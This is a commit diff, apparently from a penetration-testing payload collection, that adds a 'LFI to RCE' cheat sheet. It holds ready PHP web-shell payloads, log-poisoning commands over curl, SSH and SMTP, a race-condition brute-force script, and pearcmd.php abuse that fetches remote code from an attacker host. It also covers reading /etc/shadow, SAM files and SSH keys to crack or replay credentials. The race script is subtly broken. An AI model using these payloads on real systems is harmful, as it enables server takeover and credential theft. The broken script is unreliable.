Skip to content

Commit e6466b4

Browse files
committed
LFI/RFI pages
1 parent a16f8a6 commit e6466b4

File tree

6 files changed

+640
-579
lines changed

6 files changed

+640
-579
lines changed

DNS Rebinding/README.md

+28-8
Original file line numberDiff line numberDiff line change
@@ -17,21 +17,41 @@
1717

1818
- [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
1919
- [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
20+
- [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
21+
- [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
2022

2123

2224
## Methodology
2325

24-
First, we need to make sure that the targeted service is vulnerable to DNS rebinding.
25-
It can be done with a simple curl request:
26+
**Setup Phase**:
2627

27-
```bash
28-
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080
29-
```
28+
* Register a malicious domain (e.g., `malicious.com`).
29+
* Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
30+
31+
**Initial Victim Interaction**:
32+
33+
* Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
34+
* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
35+
36+
**Initial DNS Resolution**:
37+
38+
* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
39+
* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
40+
41+
**Rebinding to Internal IP**:
42+
43+
* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim’s router or other internal devices).
44+
45+
This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
46+
47+
**Same-Origin Exploitation:**
48+
49+
The browser treats subsequent responses as coming from the same origin (`malicious.com`).
50+
51+
Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
3052

31-
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable.
32-
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
3353

34-
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps:
54+
**Example:**
3555

3656
1. Register a domain.
3757
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).

DOM Clobbering/README.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,8 @@
1313
## Tools
1414

1515
- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
16-
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - a web-based tool designed for testing various HTML parsers and sanitizers.
17-
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - reveal how browsers parse HTML and find mutated XSS vulnerabilities
16+
- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
17+
- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
1818

1919

2020
## Methodology

Directory Traversal/README.md

+2-1
Original file line numberDiff line numberDiff line change
@@ -360,6 +360,7 @@ c:/windows/repair/system
360360
- [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
361361
- [Directory traversal attack - Wikipedia - August 5, 2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
362362
- [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
363+
- [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
363364
- [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
364365
- [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
365-
- [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))
366+
- [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))

File Inclusion/LFI-to-RCE.md

+315
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
# LFI to RCE
2+
3+
> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
4+
5+
## Summary
6+
7+
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
8+
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
9+
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
10+
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
11+
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
12+
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
13+
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
14+
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
15+
- [RCE via SSH](#rce-via-ssh)
16+
- [RCE via Mail](#rce-via-mail)
17+
- [RCE via Apache logs](#rce-via-apache-logs)
18+
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
19+
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
20+
- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
21+
22+
23+
## LFI to RCE via /proc/*/fd
24+
25+
1. Upload a lot of shells (for example : 100)
26+
2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
27+
28+
```ps1
29+
http://example.com/index.php?page=/proc/$PID/fd/$FD
30+
```
31+
32+
## LFI to RCE via /proc/self/environ
33+
34+
Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
35+
36+
```powershell
37+
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
38+
User-Agent: <?=phpinfo(); ?>
39+
```
40+
41+
42+
## LFI to RCE via iconv
43+
44+
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
45+
46+
47+
**Requirements**:
48+
49+
* PHP 7.0.0 (2015) to 8.3.7 (2024)
50+
* GNU C Library (`glibc`) <= 2.39
51+
* Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
52+
53+
**Exploit**:
54+
55+
* [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
56+
57+
58+
## LFI to RCE via upload
59+
60+
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
61+
62+
```powershell
63+
http://example.com/index.php?page=path/to/uploaded/file.png
64+
```
65+
66+
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
67+
68+
69+
## LFI to RCE via upload (race)
70+
71+
* Upload a file and trigger a self-inclusion.
72+
* Repeat the upload a shitload of time to:
73+
* increase our odds of winning the race
74+
* increase our guessing odds
75+
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
76+
* Enjoy our shell.
77+
78+
```python
79+
import itertools
80+
import requests
81+
import sys
82+
83+
print('[+] Trying to win the race')
84+
f = {'file': open('shell.php', 'rb')}
85+
for _ in range(4096 * 4096):
86+
requests.post('http://target.com/index.php?c=index.php', f)
87+
88+
89+
print('[+] Bruteforcing the inclusion')
90+
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
91+
url = 'http://target.com/index.php?c=/tmp/php' + fname
92+
r = requests.get(url)
93+
if 'load average' in r.text: # <?php echo system('uptime');
94+
print('[+] We have got a shell: ' + url)
95+
sys.exit(0)
96+
97+
print('[x] Something went wrong, please try again')
98+
```
99+
100+
101+
## LFI to RCE via upload (FindFirstFile)
102+
103+
:warning: Only works on Windows
104+
105+
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
106+
107+
* `*`/`<<` : Represents any sequence of characters.
108+
* `?`/`>` : Represents any single character.
109+
110+
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
111+
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
112+
113+
114+
## LFI to RCE via phpinfo()
115+
116+
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
117+
118+
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
119+
120+
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
121+
122+
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
123+
124+
125+
## LFI to RCE via controlled log file
126+
127+
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
128+
129+
```powershell
130+
http://example.com/index.php?page=/var/log/apache/access.log
131+
http://example.com/index.php?page=/var/log/apache/error.log
132+
http://example.com/index.php?page=/var/log/apache2/access.log
133+
http://example.com/index.php?page=/var/log/apache2/error.log
134+
http://example.com/index.php?page=/var/log/nginx/access.log
135+
http://example.com/index.php?page=/var/log/nginx/error.log
136+
http://example.com/index.php?page=/var/log/vsftpd.log
137+
http://example.com/index.php?page=/var/log/sshd.log
138+
http://example.com/index.php?page=/var/log/mail
139+
http://example.com/index.php?page=/var/log/httpd/error_log
140+
http://example.com/index.php?page=/usr/local/apache/log/error_log
141+
http://example.com/index.php?page=/usr/local/apache2/log/error_log
142+
```
143+
144+
145+
### RCE via SSH
146+
147+
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
148+
149+
```powershell
150+
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
151+
```
152+
153+
Then include the SSH log files inside the Web Application.
154+
155+
```powershell
156+
http://example.com/index.php?page=/var/log/auth.log&cmd=id
157+
```
158+
159+
160+
### RCE via Mail
161+
162+
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
163+
164+
```powershell
165+
root@kali:~# telnet 10.10.10.10. 25
166+
Trying 10.10.10.10....
167+
Connected to 10.10.10.10..
168+
Escape character is '^]'.
169+
220 straylight ESMTP Postfix (Debian/GNU)
170+
helo ok
171+
250 straylight
172+
173+
250 2.1.0 Ok
174+
rcpt to: root
175+
250 2.1.5 Ok
176+
data
177+
354 End data with <CR><LF>.<CR><LF>
178+
subject: <?php echo system($_GET["cmd"]); ?>
179+
data2
180+
.
181+
```
182+
183+
In some cases you can also send the email with the `mail` command line.
184+
185+
```powershell
186+
mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null
187+
```
188+
189+
190+
### RCE via Apache logs
191+
192+
Poison the User-Agent in access logs:
193+
194+
```
195+
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
196+
```
197+
198+
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
199+
200+
Then request the logs via the LFI and execute your command.
201+
202+
```
203+
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
204+
```
205+
206+
207+
## LFI to RCE via PHP sessions
208+
209+
Check if the website use PHP Session (PHPSESSID)
210+
211+
```javascript
212+
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
213+
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
214+
```
215+
216+
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
217+
218+
```javascript
219+
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
220+
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
221+
```
222+
223+
Set the cookie to `<?php system('cat /etc/passwd');?>`
224+
225+
```powershell
226+
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
227+
```
228+
229+
Use the LFI to include the PHP session file
230+
231+
```powershell
232+
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
233+
```
234+
235+
236+
## LFI to RCE via PHP PEARCMD
237+
238+
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
239+
240+
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
241+
242+
```ini
243+
register_argc_argv = On
244+
```
245+
246+
There are this ways to exploit it.
247+
248+
* **Method 1**: config create
249+
```ps1
250+
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
251+
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
252+
```
253+
254+
* **Method 2**: man_dir
255+
```ps1
256+
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
257+
/vuln.php?file=/tmp/exec.php&c=id
258+
```
259+
The created configuration file contains the webshell.
260+
```php
261+
#PEAR_Config 0.9
262+
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
263+
```
264+
265+
* **Method 3**: download (need external network connection).
266+
```ps1
267+
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
268+
/vuln.php?file=exec.php&c=id
269+
```
270+
271+
* **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
272+
```ps1
273+
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
274+
/vuln.php?file=/tmp/pear/download/exec.php&c=id
275+
```
276+
277+
278+
## LFI to RCE via credentials files
279+
280+
This method require high privileges inside the application in order to read the sensitive files.
281+
282+
283+
### Windows version
284+
285+
Extract `sam` and `system` files.
286+
287+
```powershell
288+
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
289+
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
290+
```
291+
292+
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
293+
294+
295+
### Linux version
296+
297+
Extract `/etc/shadow` files.
298+
299+
```powershell
300+
http://example.com/index.php?page=../../../../../../etc/shadow
301+
```
302+
303+
Then crack the hashes inside in order to login via SSH on the machine.
304+
305+
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
306+
If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
307+
308+
309+
## References
310+
311+
* [LFI2RCE via PHP Filters - HackTricks - 19/07/2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
312+
* [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
313+
* [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
314+
* [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
315+
* [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)

0 commit comments

Comments
 (0)